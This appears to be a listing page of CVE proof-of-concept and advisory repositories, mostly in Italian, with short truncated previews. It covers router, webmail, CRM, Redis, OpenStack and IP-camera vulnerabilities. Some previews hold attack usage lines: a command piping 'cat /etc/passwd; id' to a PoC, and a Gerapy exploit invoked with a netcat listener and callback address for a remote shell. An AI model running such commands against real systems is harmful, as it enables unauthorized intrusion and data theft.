CVE-2024-12856

CVE-2024-12856 Questo è un exploit per i router Four-Faith dei modelli F3x24 e F3x36 per ottenere una reverse shell. "I router Four-Faith dei modelli F3x24 e F3x36 sono affetti da una vulnerabilità di injection di comandi del sistema operativo OS. Almeno la versione del firmware 2.0 consente ad...

CVE-2026-24061-POC

CVE-2026-24061-POC echo "cat /etc/passwd; id;" | python poc2.py TARGET 23 1. Timeout di connessione Posizione: Riga 25 nel metodo establishconnection python self.connection.settimeout10 -- Timeout di connessione regolabile Scopo: Controlla per quanto tempo attendere la connessione TCP iniziale...

CVE-2026-25589-25588-25243-23631-23479-REDIS

ANLEITUNG ZUR PRÜFUNG & BEHEBUNG VON 5 REDIS-CVEs BIS 2026.05.08 Veröffentlichungsdatum: 2026-05-08 Autor: TonyCao [email protected] Quelle: Redis Security Advisory INHALTSVERZEICHNIS 1. Überblick 2. Betroffene Versionen 3. Details zu jeder CVE CVE-2026-23479 — Use-after-free im Unblock Clie...

CVE-2026-25546-godot-mcp-0.1.1-OS-Command-Injection

CVE-2026-25546 PoC - godot-mcp OS Command Injection Autore: Mohammed Idrees Banyamer GitHub: mbanyamer Data: 04 febbraio 2026 Titolo dell'Exploit godot-mcp 0.1.1 - OS Command Injection tramite projectPath CVE CVE-2026-25546 CWE CWE-78 Neutralizzazione impropria di elementi speciali utilizzati in ...

CVE-2026-25512-PoC-Group-Office-Authenticated-RCE

CVE-2026-25512 PoC – Group-Office RCE autenticato tramite gestore TNEF Autore: Mohammed Idrees Banyamer Handle: @banyamersecurity GitHub: mbanyamer Data: 04 febbraio 2026 Titolo dell'exploit Group-Office Intermesh 26.0.4 – RCE autenticato tramite gestore allegati TNEF CVE CVE-2026-25512 CWE CWE-7...

CVE-2026-25130-Cybersecurity-AI-CAI-Framework-0.5.10

CVE-2026-25130 – Framework Cybersecurity AI CAI – PoC di Iniezione di Argomenti / Iniezione di Comandi di Sistema Autore: Mohammed Idrees Banyamer Paese: Giordania GitHub: https://github.com/yourusername Instagram: @banyamersecurity Panoramica Questa repository contiene una Proof of Concept PoC c...

CVE-2026-22812

CVE-2026-22812 CVE-2026-22812 - Modello Nuclei per RCE non autenticata su OpenCode per la scansione. richiesta burp suite POST /session HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 X11; Linux x8664 Content-Type: application/json Content-Length: 2 POST /session/"id"/shell HTTP/1.1 Host:...

CVE-2026-0834

CVE-2026-0834 PoC Bypass dell'autenticazione del protocollo di debug dei dispositivi TP-Link TDDP CVE-2026-0834 Panoramica Una vulnerabilità nel servizio TDDP TP-Link Device Debug Protocol consente a utenti remoti non autenticati sulla rete locale di eseguire comandi amministrativi. Quando si...

CVE-2021-45897

CVE-2021-45897 PoC per CVE-2021-45897 noto anche come SCRMBT-180 - RCE tramite modelli email solo utenti autenticati in SuiteCRM = 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2021-45897 Esempio di utilizzo: .venv ➜ CVE-2021-45897 git:main ✗...

cve-2021-32849

cve-2021-32849 cve-2021-32849 esecuzione di comandi in gerapy Utilizzo Prima avvia un nc in ascolto, poi usa l'exploit per colpire python3 CVE-2021-32849.py -u http://192.168.1.69:8000 -U admin -P admin@123 -r 10.10.16.34 -p 8888 -c id...

CVE-2021-43857

CVE-2021-43857 CVE-2021-43857 esecuzione di comandi in Gerapy Dichiarazione di non responsabilità Lo script è fornito solo a scopo di apprendimento e riferimento, non utilizzarlo per attaccare i siti web di altri in modo malevolo. In caso di violazione della legge o di cattiva condotta, ogni...

tapo-c260-rce

Catena RCE Tapo C260 CVE-2026-0651 / CVE-2026-0652 / CVE-2026-0653 Proof-of-concept della catena di exploit per la telecamera IP TP-Link Tapo C260 che consente di ottenere RCE da non autenticato a root concatenando tre vulnerabilità scoperte da Eugene Lim Spaceraccoon. Crediti Tutta la ricerca e ...

wheelaudit

wheelaudit Scanner di sicurezza per file Python Wheel — analizza i file .whl per individuare problemi di sicurezza prima dell'installazione. Motivato da recenti CVE nella gestione dei wheel Python: CVE-2026-24049 : Path traversal nell'estrazione dei wheel che consente la manipolazione dei permess...

CVE-2026-28363

🔴 CVE-2026-28363 — Advisory di Sicurezza ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗ ██╔════╝ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝ ███████╗ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚██████╗ ╚████╔╝ ███████╗...

DEBIAN-CVE-2026-93858

In OpenStack Mistral through 23.0.0, the std.sshproxied action passes a caller-supplied proxycommand value directly to paramiko.ProxyCommand before any SSH connection to a gateway or target host is attempted. An authenticated project member can use the standard action-execution API to submit an...

CVE-2026-93858

In OpenStack Mistral through 23.0.0, the std.sshproxied action passes a caller-supplied proxycommand value directly to paramiko.ProxyCommand before any SSH connection to a gateway or target host is attempted. An authenticated project member can use the standard action-execution API to submit an...

Centreon-Exploits-2026

Exploit per CVE-2026-2749, CVE-2026-2751 e CVE-2026-2750 Questo repository contiene exploit per CVE-2026-2749, CVE-2026-2751 e CVE-2026-2750 in Centreon, che sfruttano vulnerabilità di Path Traversal, SQL Injection e Command Injection. Versioni Vulnerabili Tutte le versioni precedenti alla 25.10...

CVE-2026-4802

CVE-2026-4802 - Esecuzione di codice remoto tramite iniezione di comandi in Cockpit Una proof-of-concept per CVE-2026-4802, un'esecuzione di codice remoto tramite iniezione di comandi nell'interfaccia dei log di sistema di Cockpit loadServiceFilters Setup Crea ed esegui l'ambiente vulnerabile: $...

CVE-2026-20841-PoC

CVE-2026-20841-PoC Proof of Concept per CVE-2026-20841 CVE-2026-20841 – Dettagli CVE-2026-20841 è una vulnerabilità che interessa Microsoft Notepad, in cui un input appositamente predisposto può innescare l'esecuzione non intenzionale di comandi. Il problema si verifica a causa di una gestione...

dovecot: Dovecot: Denial of Service via IMAP ID command with excessive parameters

A flaw was found in Dovecot. An unauthenticated attacker can send an IMAP ID command with a very large number of parameters before logging in. This action causes the server to consume excessive memory and CPU resources, leading to the termination of login processes and other active connections...